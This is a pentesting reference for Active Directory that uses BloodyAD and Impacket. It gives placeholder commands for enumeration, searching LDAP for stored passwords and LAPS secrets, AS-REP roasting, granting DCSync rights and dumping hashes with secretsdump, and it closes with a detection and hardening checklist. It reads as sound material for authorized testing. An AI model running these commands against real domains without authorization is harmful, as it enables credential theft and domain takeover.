CS-04 // ACTIVE DIRECTORY
ACTIVE DIRECTORY PENTESTING
A practical BloodyAD and Impacket reference for mapping an Active Directory environment, reviewing LDAP attributes, and identifying risky configurations. Commands use placeholders: set them for your authorized lab or assessment before running.
01 // Target setup
Set reusable values first. Replace the domain, controller address, and username with values from your assessment.
export DC_IP='10.10.10.10'
export DOMAIN='corp.local'
export USER='audituser'Avoid exporting or hardcoding real passwords. Prefer an approved credential-handling method; shell history and process listings can leak secrets.
02 // Active Directory enumeration
Start by mapping objects and group relationships. Results help build an inventory before testing any attack path.
bloodyAD --host "$DC_IP" -d "$DOMAIN" -u "$USER" -p "$PASS" get children --otype computerLists computer objects. Replace $PASS using your approved credential workflow; do not paste real secrets into public notes or shell history.
bloodyAD --host "$DC_IP" -d "$DOMAIN" -u "$USER" -p "$PASS" get children --otype useronlyBuild a user inventory and note privileged or service accounts for further authorized review.
bloodyAD --host "$DC_IP" -d "$DOMAIN" -u "$USER" -p "$PASS" get children --otype containerUseful for understanding how directory objects are organized.
bloodyAD --host "$DC_IP" -d "$DOMAIN" -u "$USER" -p "$PASS" get dnsDumpMay reveal hostnames and services worth validating against the approved scope.
bloodyAD --host "$DC_IP" -d "$DOMAIN" -u "$USER" -p "$PASS" get membership TARGET_USERReplace TARGET_USER with the account to inspect.
bloodyAD --host "$DC_IP" -d "$DOMAIN" -u "$USER" -p "$PASS" get object "Domain Admins" --attr memberIdentify membership that should be checked against least-privilege policy.
03 // LDAP & object attributes
Review account metadata, machine-account quota, and potentially sensitive attributes. Access depends on directory permissions and schema.
bloodyAD --host "$DC_IP" -d "$DOMAIN" -u "$USER" -p "$PASS" get object TARGET_USERInspect attributes such as description, memberOf, adminCount, and account configuration. Redact sensitive values in notes.
bloodyAD --host "$DC_IP" -d "$DOMAIN" -u "$USER" -p "$PASS" get object "DC=corp,DC=local" --attr ms-DS-MachineAccountQuotaChange the distinguished name to match the target domain. A nonzero value is a configuration detail to assess in context, not proof of a vulnerability on its own.
bloodyAD --host "$DC_IP" -d "$DOMAIN" -u "$USER" -p "$PASS" get search --filter "((|(userPassword=*)(description=*))" --attr userPassword,descriptionReview results securely. Passwords should never be stored in descriptions or readable custom attributes. Treat any discovered secret as sensitive evidence.
bloodyAD --host "$DC_IP" -d "$DOMAIN" -u "$USER" -p "$PASS" get search --filter '(servicePrincipalName=*)' --attr sAMAccountName,servicePrincipalNameSPN presence is a starting point for reviewing service-account password policy and Kerberos exposure; it does not alone confirm a weakness.
04 // Kerberos exposure checks
Use these checks to identify accounts that may need additional review. Hash collection and password recovery must be explicitly in scope.
impacket-GetNPUsers "$DOMAIN"/ -dc-ip "$DC_IP" -usersfile users.txt -no-passProvide a scoped user list in users.txt. Review any returned material securely and only perform offline password-strength testing when authorized.
05 // Privileged ACLs & attack paths
Prioritize permission review over changing directory state. Use BloodHound CE or equivalent tooling to analyze effective rights and relationships.
- GenericAll: broad control over an object; determine which object and inherited permissions are involved.
- ForceChangePassword: ability to reset a user's password without knowing the current password.
- Replication rights: review DS-Replication-Get-Changes and related extended rights; unexpected non-DC principals are high priority.
- WriteProperty: investigate writes to sensitive attributes, including msDS-KeyCredentialLink.
- Delegation: inspect RBCD configuration and who can modify msDS-AllowedToActOnBehalfOfOtherIdentity.
06 // High-impact operations
These examples are included to make the risk explicit. They modify access or may expose credentials; prefer read-only auditing and isolated lab validation.
bloodyAD --host "$DC_IP" -d "$DOMAIN" -u "$USER" -p "$PASS" add dcsync TARGET_USERThis changes directory permissions and may enable domain credential extraction. Do not use as a routine test. Document approval, scope, and cleanup before any lab validation.
impacket-secretsdump "$DOMAIN"/"$USER":PASSWORD@"$DC_IP"Replace PASSWORD only in a controlled environment. This may expose hashes and other credential material depending on privileges and method. Never store or publish the output unredacted.
bloodyAD --host "$DC_IP" -d "$DOMAIN" -u "$USER" -p "$PASS" get search --filter '(ms-mcs-admpwdexpirationtime=*)' --attr ms-mcs-admpwd,ms-mcs-admpwdexpirationtimeLegacy LAPS uses these attributes. Windows LAPS may use msLAPS-Password and msLAPS-PasswordExpirationTime. Reading a password attribute is sensitive and should be tightly controlled.
07 // Detection & hardening checklist
- Audit SPNs and service-account password strength; prefer managed service accounts where appropriate.
- Ensure Kerberos pre-authentication is enabled unless a documented exception exists.
- Monitor Event ID 4769 for unusual service-ticket activity and Event ID 4662 for suspicious directory replication access.
- Monitor Event ID 5136 for sensitive directory-object changes.
- Audit privileged group membership, DCSync rights, ACLs, delegation settings, and writes to msDS-KeyCredentialLink.
- Review machine-account quota and reduce it where business requirements allow.
- Never store passwords in LDAP descriptions or custom attributes; use LAPS to manage local administrator credentials.
- Use least privilege, tiered administration, and periodic BloodHound CE / directory-permission reviews.
References
This reference is based on the supplied “Active Directory Penetration Testing with BloodyAD” document. Confirm command syntax against your installed tool version and target environment.